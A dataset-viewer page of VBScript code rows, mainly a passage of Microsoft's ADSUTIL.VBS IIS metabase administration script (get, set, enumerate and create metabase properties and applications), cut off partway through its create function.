Search is not available for this dataset
content
stringlengths 0
376M
|
|---|
'comment
Rem comment
#If 0
Technically not a comment; the compiler may or may not ignore this, but the
IDE won't. Note the somewhat odd formatting seen here; the IDE will likely
just mark the entire line(s) as errors.
#End If
|
<gh_stars>10-100
''''''''''''''''''''''''''''''''''''
'
' ADSUTIL.VBS
'
' Date: 7/24/97
' Revision History:
' Date Comment
' 7/24/97 Initial version started
' 5/8/98 Bug fixes and ENUM_ALL
' 12/1/98 Fixed display error on list data.
' 7/27/99 AppCreate2 fix
' 8/5/99 Dont display encrypted data
''''''''''''''''''''''''''''''''''''
Option Explicit
On Error Resume Next
''''''''''''''''''
' Main Script Code
''''''''''''''''''
Dim ArgObj ' Object which contains the command line argument
Dim Result ' Result of the command function call
Dim Args(10) ' Array that contains all of the non-global arguments
Dim ArgCount ' Tracks the size of the Args array
' Used for string formatting
Dim Spacer
Dim SpacerSize
Const IIS_DATA_NO_INHERIT = 0
Const IIS_DATA_INHERIT = 1
Const GENERAL_FAILURE = 2
Const GENERAL_WARNING = 1
Const AppCreate_InProc = 0
Const AppCreate_OutOfProc = 1
Const AppCreate_PooledOutOfProc = 2
Const APPSTATUS_NOTDEFINED = 2
Const APPSTATUS_RUNNING = 1
Const APPSTATUS_STOPPED = 0
Spacer = " " ' Used to format the strings
SpacerSize = Len(Spacer)
' Note: The default execution mode may be under WScript.exe.
' That would be very annoying since WScript has popups for Echo.
' So, I want to detect that, and warn the user that it may cause
' problems.
DetectExeType
' Get the Arguments object
Set ArgObj = WScript.Arguments
' Test to make sure there is at least one command line arg - the command
If ArgObj.Count < 1 Then
DisplayHelpMessage
WScript.Quit (GENERAL_FAILURE)
End If
'*****************************************************
Dim TargetServer 'The server to be examined/modified
Dim I
For I = 0 To ArgObj.Count - 1
If LCase(Left(ArgObj.Item(I), 3)) = "-s:" Then
TargetServer = Right(ArgObj.Item(I), Len(ArgObj.Item(I)) - 3)
Else
Args(ArgCount) = ArgObj.Item(I)
ArgCount = ArgCount + 1
End If
Next
If Len(TargetServer) = 0 Then
TargetServer = "localhost"
End If
'*****************************************************
' Call the function associated with the given command
Select Case UCase(Args(0))
Case "SET"
Result = SetCommand()
Case "CREATE"
Result = CreateCommand("")
Case "DELETE"
Result = DeleteCommand()
Case "GET"
Result = GetCommand()
Case "ENUM"
' Result = EnumCommand()
Result = EnumCommand(False, "")
Case "ENUM_ALL"
' Result = EnumAllCommand()
Result = EnumCommand(True, "")
Case "ENUMALL"
' Result = EnumAllCommand()
Result = EnumCommand(True, "")
Case "COPY"
Result = CopyMoveCommand(True) ' The TRUE means COPY, not MOVE
Case "MOVE"
Result = CopyMoveCommand(False) ' The FALSE means MOVE, not COPY
Case "CREATE_VDIR"
Result = CreateCommand("IIsWebVirtualDir")
Case "CREATE_VSERV"
Result = CreateCommand("IIsWebServer")
Case "START_SERVER"
Result = StartServerCommand()
Case "STOP_SERVER"
Result = StopServerCommand()
Case "PAUSE_SERVER"
Result = PauseServerCommand()
Case "CONTINUE_SERVER"
Result = ContinueServerCommand()
' New Stuff being added
Case "FIND"
Result = FindData()
Case "COPY"
WScript.Echo "COPY is not yet supported. It will be soon."
Case "APPCREATEINPROC"
Result = AppCreateCommand(AppCreate_InProc)
Case "APPCREATEOUTPROC"
Result = AppCreateCommand(AppCreate_OutOfProc)
Case "APPCREATEPOOLPROC"
Result = AppCreateCommand(AppCreate_PooledOutOfProc)
Case "APPDELETE"
Result = AppDeleteCommand()
Case "APPUNLOAD"
Result = AppUnloadCommand()
Case "APPDISABLE"
Result = AppDisableCommand()
Case "APPENABLE"
Result = AppEnableCommand()
Case "APPGETSTATUS"
Result = AppGetStatusCommand()
Case "HELP"
DisplayHelpMessageEx
' End New Stuff
Case Else
WScript.Echo "Command not recognized: " & Args(0)
WScript.Echo "For help, just type ""Cscript.exe adsutil.vbs""."
Result = GENERAL_FAILURE
End Select
WScript.Quit (Result)
''''''''''
' End Main
''''''''''
''''''''''''''''''''''''''''
'
' Display Help Message
'
''''''''''''''''''''''''''''
Sub DisplayHelpMessage()
WScript.Echo
WScript.Echo "Usage:"
WScript.Echo " ADSUTIL.VBS <cmd> [<path> [<value>]]"
WScript.Echo
'WScript.Echo "Note: ADSUTIL only supports the ""no switch"" option of MDUTIL"
'WScript.Echo
WScript.Echo "Description:"
WScript.Echo "IIS administration utility that enables the configuration of metabase properties."
WScript.Echo
'WScript.Echo "Supported MDUTIL Commands:"
WScript.Echo "Supported Commands:"
WScript.Echo " GET, SET, ENUM, DELETE, CREATE, COPY, "
WScript.Echo " APPCREATEINPROC, APPCREATEOUTPROC, APPCREATEPOOLPROC, APPDELETE, APPUNLOAD, APPGETSTATUS "
WScript.Echo
WScript.Echo "Samples:"
WScript.Echo " adsutil.vbs GET W3SVC/1/ServerBindings"
WScript.Echo " adsutil.vbs SET W3SVC/1/ServerBindings "":81:"""
WScript.Echo " adsutil.vbs CREATE W3SVC/1/Root/MyVdir ""IIsWebVirtualDir"""
WScript.Echo " adsutil.vbs START_SERVER W3SVC/1"
WScript.Echo " adsutil.vbs ENUM /P W3SVC"
WScript.Echo
WScript.Echo "For Extended Help type:"
WScript.Echo " adsutil.vbs HELP"
End Sub
''''''''''''''''''''''''''''
'
' Display Help Message
'
''''''''''''''''''''''''''''
Sub DisplayHelpMessageEx()
WScript.Echo
WScript.Echo "Usage:"
WScript.Echo " ADSUTIL.VBS CMD [param param]"
WScript.Echo
'WScript.Echo "Note: ADSUTIL only supports the ""no switch"" option of MDUTIL"
'WScript.Echo
WScript.Echo "Description:"
WScript.Echo "IIS K2 administration utility that enables the manipulation with ADSI parameters"
WScript.Echo
'WScript.Echo "Standard MDUTIL Commands:"
WScript.Echo "Standard Commands:"
WScript.Echo " adsutil.vbs GET path - display chosen parameter"
WScript.Echo " adsutil.vbs SET path value ... - assign the new value"
WScript.Echo " adsutil.vbs ENUM path [""/P"" ] - enumerate all parameters for given path"
WScript.Echo " adsutil.vbs DELETE path - delete given path or parameter"
WScript.Echo " adsutil.vbs CREATE path [KeyType] - create given path and assigns it the given KeyType"
WScript.Echo
WScript.Echo " adsutil.vbs APPCREATEINPROC w3svc/1/root - Create an in-proc application"
WScript.Echo " adsutil.vbs APPCREATEOUTPROC w3svc/1/root - Create an out-proc application"
WScript.Echo " adsutil.vbs APPCREATEPOOLPROC w3svc/1/root- Create a pooled-proc application"
WScript.Echo " adsutil.vbs APPDELETE w3svc/1/root - Delete the application if there is one"
WScript.Echo " adsutil.vbs APPUNLOAD w3svc/1/root - Unload an application from w3svc runtime lookup table."
WScript.Echo " adsutil.vbs APPDISABLE w3svc/1/root - Disable an application - appropriate for porting to another machine."
WScript.Echo " adsutil.vbs APPENABLE w3svc/1/root - Enable an application - appropriate for importing from another machine."
WScript.Echo " adsutil.vbs APPGETSTATUS w3svc/1/root - Get status of the application"
WScript.Echo
WScript.Echo "New ADSI Options:"
WScript.Echo " /P - Valid for ENUM only. Enumerates the paths only (no data)"
WScript.Echo " KeyType - Valide for CREATE only. Assigns the valid KeyType to the path"
WScript.Echo
WScript.Echo "Extended ADSUTIL Commands:"
WScript.Echo " adsutil.vbs FIND path - find the paths where a given parameter is set"
WScript.Echo " adsutil.vbs CREATE_VDIR path - create given path as a Virtual Directory"
WScript.Echo " adsutil.vbs CREATE_VSERV path - create given path as a Virtual Server"
WScript.Echo " adsutil.vbs START_SERVER path - starts the given web site"
WScript.Echo " adsutil.vbs STOP_SERVER path - stops the given web site"
WScript.Echo " adsutil.vbs PAUSE_SERVER path - pauses the given web site"
WScript.Echo " adsutil.vbs CONTINUE_SERVER path - continues the given web site"
WScript.Echo
WScript.Echo
WScript.Echo "Samples:"
WScript.Echo " adsutil.vbs GET W3SVC/1/ServerBindings"
WScript.Echo " adsutil.vbs SET W3SVC/1/ServerBindings "":81:"""
WScript.Echo " adsutil.vbs CREATE W3SVC/1/Root/MyVdir ""IIsWebVirtualDir"""
WScript.Echo " adsutil.vbs START_SERVER W3SVC/1"
WScript.Echo " adsutil.vbs ENUM /P W3SVC"
WScript.Echo "Extended ADSUTIL Commands:"
WScript.Echo " adsutil.vbs FIND path - find the paths where a given parameter is set"
WScript.Echo " adsutil.vbs CREATE_VDIR path - create given path as a Virtual Directory"
WScript.Echo " adsutil.vbs CREATE_VSERV path - create given path as a Virtual Server"
WScript.Echo " adsutil.vbs START_SERVER path - starts the given web site"
WScript.Echo " adsutil.vbs STOP_SERVER path - stops the given web site"
WScript.Echo " adsutil.vbs PAUSE_SERVER path - pauses the given web site"
WScript.Echo " adsutil.vbs CONTINUE_SERVER path - continues the given web site"
WScript.Echo
WScript.Echo
WScript.Echo "Samples:"
WScript.Echo " adsutil.vbs GET W3SVC/1/ServerBindings"
WScript.Echo " adsutil.vbs SET W3SVC/1/ServerBindings "":81:"""
WScript.Echo " adsutil.vbs CREATE W3SVC/1/Root/MyVdir ""IIsWebVirtualDir"""
WScript.Echo " adsutil.vbs START_SERVER W3SVC/1"
WScript.Echo " adsutil.vbs ENUM /P W3SVC"
' adsutil.vbs ENUM_ALL path - recursively enumerate all parameters
' adsutil.vbs COPY pathsrc pathdst - copy all from pathsrc to pathdst (will create pathdst)
' adsutil.vbs SCRIPT scriptname - runs the script
' -path has format: {computer}/{service}/{instance}/{URL}/{Parameter}
End Sub
'''''''''''''''''''''''''''
'
' DetectExeType
'
' This can detect the type of exe the
' script is running under and warns the
' user of the popups.
'
'''''''''''''''''''''''''''
Sub DetectExeType()
Dim ScriptHost
Dim ShellObject
Dim CurrentPathExt
Dim EnvObject
Dim RegCScript
Dim RegPopupType ' This is used to set the pop-up box flags.
' I couldn't find the pre-defined names
RegPopupType = 32 + 4
On Error Resume Next
ScriptHost = WScript.FullName
ScriptHost = Right(ScriptHost, Len(ScriptHost) - InStrRev(ScriptHost, "\"))
If (UCase(ScriptHost) = "WSCRIPT.EXE") Then
WScript.Echo ("This script does not work with WScript.")
' Create a pop-up box and ask if they want to register cscript as the default host.
Set ShellObject = WScript.CreateObject("WScript.Shell")
' -1 is the time to wait. 0 means wait forever.
RegCScript = ShellObject.PopUp("Would you like to register CScript as your default host for VBscript?", 0, "Register CScript", RegPopupType)
If (Err.Number <> 0) Then
ReportError ()
WScript.Echo "To run this script using CScript, type: ""CScript.exe " & WScript.ScriptName & """"
WScript.Quit (GENERAL_FAILURE)
WScript.Quit (Err.Number)
End If
' Check to see if the user pressed yes or no. Yes is 6, no is 7
If (RegCScript = 6) Then
ShellObject.RegWrite "HKEY_CLASSES_ROOT\VBSFile\Shell\Open\Command\", "%WINDIR%\System32\CScript.exe //nologo ""%1"" %*", "REG_EXPAND_SZ"
ShellObject.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Classes\VBSFile\Shell\Open\Command\", "%WINDIR%\System32\CScript.exe //nologo ""%1"" %*", "REG_EXPAND_SZ"
' Check if PathExt already existed
CurrentPathExt = ShellObject.RegRead("HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment\PATHEXT")
If Err.Number = &H80070002 Then
Err.Clear
Set EnvObject = ShellObject.Environment("PROCESS")
CurrentPathExt = EnvObject.Item("PATHEXT")
End If
ShellObject.RegWrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment\PATHEXT", CurrentPathExt & ";.VBS", "REG_SZ"
If (Err.Number <> 0) Then
ReportError ()
WScript.Echo "Error Trying to write the registry settings!"
WScript.Quit (Err.Number)
Else
WScript.Echo "Successfully registered CScript"
End If
Else
WScript.Echo "To run this script type: ""CScript.Exe adsutil.vbs <cmd> <params>"""
End If
Dim ProcString
Dim ArgIndex
Dim ArgObj
Dim Result
ProcString = "Cscript //nologo " & WScript.ScriptFullName
Set ArgObj = WScript.Arguments
For ArgIndex = 0 To ArgCount - 1
ProcString = ProcString & " " & Args(ArgIndex)
Next
'Now, run the original executable under CScript.exe
Result = ShellObject.Run(ProcString, 0, True)
WScript.Quit (Result)
End If
End Sub
''''''''''''''''''''''''''
'
' SetCommand Function
'
' Sets the value of a property in the metabase.
'
''''''''''''''''''''''''''
Function SetCommand()
Dim IIsObject
Dim IIsObjectPath
Dim IIsSchemaObject
Dim IIsSchemaPath
Dim ObjectPath
Dim ObjectParameter
Dim MachineName
Dim ValueIndex
Dim ValueList
Dim ValueDisplay
Dim ValueDisplayLen
Dim ValueDataType
Dim ValueData
Dim ObjectDataType
On Error Resume Next
SetCommand = 0 ' Assume Success
If ArgCount < 3 Then
WScript.Echo "Error: Wrong number of Args for the SET command"
WScript.Quit (GENERAL_FAILURE)
End If
ObjectPath = Args(1)
SanitizePath ObjectPath
MachineName = SeparateMachineName(ObjectPath)
ObjectParameter = SplitParam(ObjectPath)
' Some Property Types have special needs - like ServerCommand.
' Check to see if this is a special command. If it is, then process it special.
If (IsSpecialSetProperty(ObjectParameter)) Then
SetCommand = DoSpecialSetProp(ObjectPath, ObjectParameter, MachineName)
Exit Function
End If
If ObjectPath = "" Then
IIsObjectPath = "IIS://" & MachineName
Else
IIsObjectPath = "IIS://" & MachineName & "/" & ObjectPath
End If
Set IIsObject = GetObject(IIsObjectPath)
If (Err.Number <> 0) Then
ReportError ()
WScript.Echo "Error Trying To Get the Object: " & ObjectPath
WScript.Quit (Err.Number)
End If
' Get the Schema of the property and determine if it's multivalued
IIsSchemaPath = "IIS://" & MachineName & "/Schema/" & ObjectParameter
Set IIsSchemaObject = GetObject(IIsSchemaPath)
If (Err.Number <> 0) Then
ReportError ()
WScript.Echo "Error Trying To GET the Schema of the property: " & IIsSchemaPath
WScript.Quit (Err.Number)
End If
ObjectDataType = UCase(IIsSchemaObject.Syntax)
SanitizePath ObjectDataType
Select Case (ObjectDataType)
Case "STRING"
ValueList = Args(2)
IIsObject.Put ObjectParameter, (ValueList)
Case "EXPANDSZ"
ValueList = Args(2)
IIsObject.Put ObjectParameter, (ValueList)
Case "INTEGER"
' Added to convert hex values to integers
ValueData = Args(2)
If (UCase(Left(ValueData, 2))) = "0X" Then
ValueData = "&h" & Right(ValueData, Len(ValueData) - 2)
End If
ValueList = CLng(ValueData)
IIsObject.Put ObjectParameter, (ValueList)
Case "BOOLEAN"
ValueList = CBool(Args(2))
IIsObject.Put ObjectParameter, (ValueList)
Case "LIST"
ReDim ValueList(ArgCount - 3)
For ValueIndex = 2 To ArgCount - 1
ValueList(ValueIndex - 2) = Args(ValueIndex)
Next
IIsObject.Put ObjectParameter, (ValueList)
Case Else
WScript.Echo "Error: Unknown data type in schema: " & IIsSchemaObject.Syntax
End Select
IIsObject.Setinfo
If (Err.Number <> 0) Then
ReportError ()
WScript.Echo "Error Trying To SET the Property: " & ObjectParameter
WScript.Quit (Err.Number)
End If
' The function call succeeded, so display the output
' Set up the initial part of the display - the property name and data type
ValueDisplay = ObjectParameter
ValueDisplayLen = Len(ValueDisplay)
If (ValueDisplayLen < SpacerSize) Then
'ValueDisplay = ValueDisplay & (Right (Spacer, SpacerSize - ValueDisplayLen)) & ": " & "(" & TypeName (ValueList) & ") "
ValueDisplay = ValueDisplay & (Right(Spacer, SpacerSize - ValueDisplayLen)) & ": " & "(" & ObjectDataType & ") "
Else
ValueDisplay = ValueDisplay & ": " & "(" & TypeName(ValueList) & ") "
End If
' Create the rest of the display - The actual data
If (IIsSchemaObject.MultiValued) Then
For ValueIndex = 0 To UBound(ValueList)
'WScript.Echo """" & ValueList(ValueIndex) & """"
ValueDisplay = ValueDisplay & """" & ValueList(ValueIndex) & """ "
Next
Else
If (UCase(IIsSchemaObject.Syntax) = "STRING") Then
'WScript.Echo """" & ValueList & """"
If (IsSecureProperty(ObjectParameter,MachineName) = True) Then
ValueDisplay = ValueDisplay & """" & "**********" & """"
Else
ValueDisplay = ValueDisplay & """" & ValueList & """"
End If
Else
'WScript.Echo ValueList
ValueDisplay = ValueDisplay & ValueList
End If
End If
' Display the output
WScript.Echo ValueDisplay
SetCommand = 0 ' Success
End Function
''''''''''''''''''''''''''
'
' GetCommand Function
'
' Gets the value of a property in the metabase.
'
''''''''''''''''''''''''''
Function GetCommand()
Dim IIsObject
Dim IIsObjectPath
Dim IIsSchemaObject
Dim IIsSchemaPath
Dim ObjectPath
Dim ObjectParameter
Dim MachineName
Dim ValueIndex
Dim ValueList
Dim ValueListArray
Dim ValueDisplay
Dim ValueDisplayLen
Dim NewObjectparameter
Dim DataPathList
Dim DataPath
On Error Resume Next
GetCommand = 0 ' Assume Success
If ArgCount <> 2 Then
WScript.Echo "Error: Wrong number of Args for the GET command"
WScript.Quit (GENERAL_FAILURE)
End If
ObjectPath = Args(1)
SanitizePath ObjectPath
MachineName = SeparateMachineName(ObjectPath)
ObjectParameter = SplitParam(ObjectPath)
NewObjectparameter = MapSpecGetParamName(ObjectParameter)
ObjectParameter = NewObjectparameter
If (IsSpecialGetProperty(ObjectParameter)) Then
GetCommand = DoSpecialGetProp(ObjectPath, ObjectParameter, MachineName)
Exit Function
End If
If ObjectPath = "" Then
IIsObjectPath = "IIS://" & MachineName
Else
IIsObjectPath = "IIS://" & MachineName & "/" & ObjectPath
End If
Set IIsObject = GetObject(IIsObjectPath)
If (Err.Number <> 0) Then
ReportError ()
WScript.Echo "Error Trying To GET the Object (GetObject Failed): " & ObjectPath
WScript.Quit (Err.Number)
End If
' Get the Schema of the property and determine if it's multivalued
IIsSchemaPath = "IIS://" & MachineName & "/Schema/" & ObjectParameter
Set IIsSchemaObject = GetObject(IIsSchemaPath)
If (Err.Number <> 0) Then
ReportError ()
WScript.Echo "Error Trying To GET the Schema of the property: " & IIsSchemaPath
WScript.Quit (Err.Number)
End If
' First, attempt to retrieve the property - this will tell us
' if you are even allowed to set the property at this node.
' Retrieve the property
ValueList = IIsObject.Get(ObjectParameter)
If (Err.Number <> 0) Then
ReportError ()
WScript.Echo "Error Trying To GET the property: (Get Method Failed) " & ObjectParameter
WScript.Echo " (This property is probably not allowed at this node)"
WScript.Quit (Err.Number)
End If
' Test to see if the property is ACTUALLY set at this node
DataPathList = IIsObject.GetDataPaths(ObjectParameter, IIS_DATA_INHERIT)
If Err.Number <> 0 Then DataPathList = IIsObject.GetDataPaths(ObjectParameter, IIS_DATA_NO_INHERIT)
Err.Clear
' If the data is not set anywhere, then stop the madness
If (UBound(DataPathList) < 0) Then
WScript.Echo "The parameter """ & ObjectParameter & """ is not set at this node."
WScript.Quit (&H80005006) ' end with property not set error
End If
DataPath = DataPathList(0)
SanitizePath DataPath
' Test to see if the item is actually set HERE
If UCase(DataPath) <> UCase(IIsObjectPath) Then
WScript.Echo "The parameter """ & ObjectParameter & """ is not set at this node."
WScript.Quit (&H80005006) ' end with property not set error
End If
' Set up the initial part of the display - the property name and data type
ValueDisplay = ObjectParameter
ValueDisplayLen = Len(ValueDisplay)
If (ValueDisplayLen < SpacerSize) Then
'ValueDisplay = ValueDisplay & (Right (Spacer, SpacerSize - ValueDisplayLen)) & ": " & "(" & TypeName (ValueList) & ") "
ValueDisplay = ValueDisplay & (Right(Spacer, SpacerSize - ValueDisplayLen)) & ": " & "(" & UCase(IIsSchemaObject.Syntax) & ") "
Else
ValueDisplay = ValueDisplay & ": " & "(" & TypeName(ValueList) & ") "
End If
' Create the rest of the display - The actual data
If (IIsSchemaObject.MultiValued) Then
WScript.Echo ValueDisplay & " (" & UBound (ValueList) + 1 & " Items)"
For ValueIndex = 0 To UBound(ValueList)
WScript.Echo " """ & ValueList(ValueIndex) & """"
'ValueDisplay = ValueDisplay & """" & ValueList(ValueIndex) & """ "
Next
Else
If (UCase(IIsSchemaObject.Syntax) = "STRING") Then
If (IsSecureProperty(ObjectParameter,MachineName) = True) Then
ValueDisplay = ValueDisplay & """" & "**********" & """"
Else
ValueDisplay = ValueDisplay & """" & ValueList & """"
End If
Elseif (UCase(IIsSchemaObject.Syntax) = "BINARY") Then
ValueListArray = IIsObject.Get(ObjectParameter)
ValueList = "0x"
For ValueIndex = 0 To UBound(ValueListArray)
ValueList = ValueList & ValueListArray(ValueIndex) & " "
Next
ValueDisplay = ValueDisplay & ValueList
Else
'WScript.Echo ValueList
ValueDisplay = ValueDisplay & ValueList
End If
' Display the output
WScript.Echo ValueDisplay
End If
If (Err.Number <> 0) Then
ReportError ()
WScript.Echo "Error Trying To GET the Property: " & ObjectParameter
WScript.Quit (Err.Number)
End If
GetCommand = 0 ' Success
End Function
''''''''''''''''''''''''''
'
' EnumCommand Function
'
' Enumerates all properties at a path in the metabase.
'
''''''''''''''''''''''''''
Function EnumCommand(Recurse, StartPath)
On Error Resume Next
Dim IIsObject
Dim IIsObjectPath
Dim IIsSchemaObject
Dim IIsSchemaPath
Dim ObjectPath
Dim MachineName
Dim ValueIndex
Dim ValueList
Dim ValueListArray
Dim ValueString
Dim PropertyName
Dim PropertyAttribObj
Dim PropertyListSet
Dim PropertyList
Dim PropertyObjPath
Dim PropertyObject
Dim ChildObject
Dim ChildObjectName
Dim EnumPathsOnly
Dim EnumAllData
Dim ErrMask
Dim IsInherit
Dim PropertyDataType
Dim SpecialResult
Dim PathOnlyOption
PathOnlyOption = "/P"
EnumCommand = 0 ' Assume Success
EnumPathsOnly = False ' Assume that the user wants all of the data items
EnumAllData = False ' Assume that the user wants only the actual data items
If (ArgCount = 1) Then
ObjectPath = ""
EnumPathsOnly = False
ArgCount = 2
ElseIf (ArgCount = 2) Then
If UCase(Args(1)) = PathOnlyOption Then
ObjectPath = ""
EnumPathsOnly = True
Else
ObjectPath = Args(1)
EnumPathsOnly = False
End If
ElseIf (ArgCount = 3) Then
If UCase(Args(1)) = PathOnlyOption Then
ObjectPath = Args(2)
EnumPathsOnly = True
ElseIf UCase(Args(2)) = PathOnlyOption Then
ObjectPath = Args(1)
EnumPathsOnly = True
Else
WScript.Echo "Error: Invalid arguments for the ENUM command"
WScript.Quit (GENERAL_FAILURE)
End If
Else
WScript.Echo "Error: Wrong number of Args for the ENUM command"
WScript.Quit (GENERAL_FAILURE)
End If
If StartPath <> "" Then ObjectPath = StartPath
SanitizePath ObjectPath
MachineName = SeparateMachineName(ObjectPath)
IIsObjectPath = "IIS://" & MachineName
If (ObjectPath <> "") Then
IIsObjectPath = IIsObjectPath & "/" & ObjectPath
End If
Set IIsObject = GetObject(IIsObjectPath)
If (Err.Number <> 0) Then
WScript.Echo
ReportError ()
WScript.Echo "Error Trying To ENUM the Object (GetObject Failed): " & ObjectPath
WScript.Quit (Err.Number)
End If
' Get the Schema of the object and enumerate through all of the properties
IIsSchemaPath = IIsObject.Schema
Set IIsSchemaObject = GetObject(IIsSchemaPath)
If (Err.Number <> 0) Then
WScript.Echo
ReportError ()
WScript.Echo "Error Trying To GET the Schema of the class: " & IIsSchemaPath
WScript.Quit (Err.Number)
End If
ReDim PropertyListSet(1)
PropertyListSet(0) = IIsSchemaObject.MandatoryProperties
PropertyListSet(1) = IIsSchemaObject.OptionalProperties
If (Err.Number <> 0) Then
WScript.Echo
ReportError ()
WScript.Echo "Error trying to get the list of properties: " & IIsSchemaPath
WScript.Quit (Err.Number)
End If
' This now checks for an empty OptionalProperties list
If TypeName (PropertyListSet(1)) <> "Variant()" Then
WScript.Echo
WScript.Echo "Warning: The optionalproperties list is of an invalid type"
WScript.Echo
ElseIf (UBound (PropertyListSet(1)) = -1) Then
WScript.Echo
WScript.Echo "Warning: The OptionalProperties list for this node is empty."
WScript.Echo
End If
If (Not EnumPathsOnly) Then
For Each PropertyList In PropertyListSet
For Each PropertyName In PropertyList
If Err <> 0 Then
Exit For
End If
' Test to see if the property is even set at this node
IsInherit = False
Err.Clear
Set PropertyAttribObj = IIsObject.GetPropertyAttribObj(PropertyName)
If (Err.Number = 0) Then
If (PropertyAttribObj.IsInherit) Then
IsInherit = True
End If
Err.Clear
If (IsInherit = False) Or (EnumAllData) Then
' If the above statement is true, then the data exists here or the user wants it anyway.
PropertyObjPath = "IIS://" & MachineName & "/Schema/" & PropertyName
Set PropertyObject = GetObject(PropertyObjPath)
If (Err.Number <> 0) Then
WScript.Echo
ReportError ()
WScript.Echo "Error trying to enumerate the Optional properties (Couldn't Get Property Information): " & PropertyObjPath
WScript.Echo "Last Property Name: " & PropertyName
WScript.Echo "PropertyObjPath: " & PropertyObjPath
'WScript.Quit (Err.Number)
WScript.Echo
EnumCommand = Err.Number
Err.Clear
End If
ValueList = ""
ValueListArray = ""
PropertyDataType = UCase(PropertyObject.Syntax)
Select Case PropertyDataType
Case "STRING"
ValueList = IIsObject.Get(PropertyName)
If (IsSecureProperty(PropertyName,MachineName) = True) Then
WScript.Echo PropertyName & Left(Spacer, Len(Spacer) - Len(PropertyName)) & ": " & "(" & PropertyDataType & ") " & """" & "**********" & """"
Else
If (Len(PropertyName) < SpacerSize) Then
WScript.Echo PropertyName & Left(Spacer, Len(Spacer) - Len(PropertyName)) & ": " & "(" & PropertyDataType & ") """ & ValueList & """"
Else
WScript.Echo PropertyName & " : " & "(" & PropertyDataType & ")" & """" & ValueList & """"
End If
End If
Case "EXPANDSZ"
ValueList = IIsObject.Get(PropertyName)
If (Len(PropertyName) < SpacerSize) Then
WScript.Echo PropertyName & Left(Spacer, Len(Spacer) - Len(PropertyName)) & ": " & "(" & PropertyDataType & ") """ & ValueList & """"
Else
WScript.Echo PropertyName & " : " & "(" & PropertyDataType & ") """ & ValueList & """"
End If
Case "BINARY"
ValueListArray = IIsObject.Get(PropertyName)
ValueList = "0x"
For ValueIndex = 0 To UBound(ValueListArray)
ValueList = ValueList & ValueListArray(ValueIndex) & " "
Next
If (Len(PropertyName) < SpacerSize) Then
WScript.Echo PropertyName & Left(Spacer, Len(Spacer) - Len(PropertyName)) & ": " & "(" & PropertyDataType & ") " & ValueList
Else
WScript.Echo PropertyName & " : " & "(" & PropertyDataType & ") " & ValueList
End If
Case "INTEGER"
ValueList = IIsObject.Get(PropertyName)
If (Len(PropertyName) < SpacerSize) Then
WScript.Echo PropertyName & Left(Spacer, Len(Spacer) - Len(PropertyName)) & ": " & "(" & PropertyDataType & ") " & ValueList
Else
WScript.Echo PropertyName & " : " & "(" & PropertyDataType & ") " & ValueList
End If
Case "BOOLEAN"
ValueList = IIsObject.Get(PropertyName)
If (Len(PropertyName) < SpacerSize) Then
WScript.Echo PropertyName & Left(Spacer, Len(Spacer) - Len(PropertyName)) & ": " & "(" & PropertyDataType & ") " & ValueList
Else
WScript.Echo PropertyName & " : " & "(" & PropertyDataType & ") " & ValueList
End If
Case "LIST"
ValueList = IIsObject.Get(PropertyName)
If (Len(PropertyName) < SpacerSize) Then
WScript.Echo PropertyName & _
Left(Spacer, Len(Spacer) - Len(PropertyName)) & _
": " & "(" & PropertyDataType & ") (" & _
(UBound (ValueList) + 1) & " Items)"
Else
WScript.Echo PropertyName & " : " & "(" & PropertyDataType & ") (" & (UBound (ValueList) + 1) & " Items)"
End If
ValueString = ""
For ValueIndex = 0 To UBound(ValueList)
WScript.Echo " """ & ValueList(ValueIndex) & """"
Next
WScript.Echo
Case Else
If (IsSpecialGetProperty(PropertyName)) Then
SpecialResult = DoSpecialGetProp(ObjectPath, PropertyName, MachineName)
Err.Clear
Else
WScript.Echo
WScript.Echo "DataType: " & """" & PropertyObject.Syntax & """" & " Not Yet Supported on property: " & PropertyName
ReportError
WScript.Echo
End If
End Select
End If ' End if data exists at the current node
Else ' Error during GetPropertyAttribObj
Err.Clear 'ignore and go to the next property
End If
If (Err.Number <> 0) Then
WScript.Echo
ReportError ()
WScript.Echo "Error trying to enumerate the Optional properties (Error trying to get property value): " & PropertyObjPath
WScript.Echo "Last Property Name: " & PropertyName
WScript.Echo "PropertyObjPath: " & PropertyObjPath
' If there is an ADS error, just ignore it and move on
' otherwise, quit
If ((Err.Number) >= &H80005000) And ((Err.Number) < &H80006000) Then
Err.Clear
WScript.Echo "Continuing..."
Else
WScript.Quit (Err.Number)
End If
WScript.Echo
End If
Next
Next
If (Err.Number <> 0) Then
WScript.Echo "Error trying to enumerate the properties lists:"
ReportError ()
WScript.Echo
EnumCommand = Err.Number
Err.Clear
End If
End If ' End if (Not EnumPathsOnly)
'WScript.Echo "Last Error: " & Err & " (" & Hex (Err) & "): " & Err.Description
' Now, enumerate the data paths
For Each ChildObject In IIsObject
If (Err.Number <> 0) Then Exit For
ChildObjectName = Right(ChildObject.AdsPath, Len(ChildObject.AdsPath) - 6)
ChildObjectName = Right(ChildObjectName, Len(ChildObjectName) - InStr(ChildObjectName, "/") + 1)
WScript.Echo "[" & ChildObjectName & "]"
If (Recurse = True) And (ChildObjectName <> Args(1)) Then
EnumCommand = EnumCommand(True, ChildObjectName)
End If
Next
If (Err.Number <> 0) Then
WScript.Echo "Error trying to enumerate the child nodes"
ReportError ()
WScript.Echo
EnumCommand = Err.Number
Err.Clear
End If
WScript.Echo ""
End Function
''''''''''''''''''''''''''
'
' Create Function
'
' Creates a path in the metabase. An additional parameter that is
' not found in mdutil is optional. That is the Object Type (KeyType)
' If this is not specified, the object type will be assumed to be
' IIsObject (which, of course, is useless).
'
''''''''''''''''''''''''''
Function CreateCommand(ObjectTypeParam)
On Error Resume Next
Dim IIsObject
Dim IIsObjectPath
Dim IIsObjectRelativePath
Dim NewObject
Dim ObjectTypeName
Dim ParentObjPath
Dim ParentObjSize
Dim FullAdsParentPath
Dim MachineName
Dim OpenErr
' Set the return code - assume success
CreateCommand = 0
' Setup the parameters
If (ArgCount = 2) Then
If (ObjectTypeParam = "") Then
ObjectTypeName = "IIsObject"
Else
ObjectTypeName = ObjectTypeParam
End If
ElseIf (ArgCount = 3) Then
ObjectTypeName = Args(2)
Else
WScript.Echo "Error: Wrong number of Args for the CREATE command"
DisplayHelpMessage
WScript.Quit (GENERAL_FAILURE)
End If
IIsObjectPath = Args(1)
SanitizePath IIsObjectPath
MachineName = SeparateMachineName(IIsObjectPath)
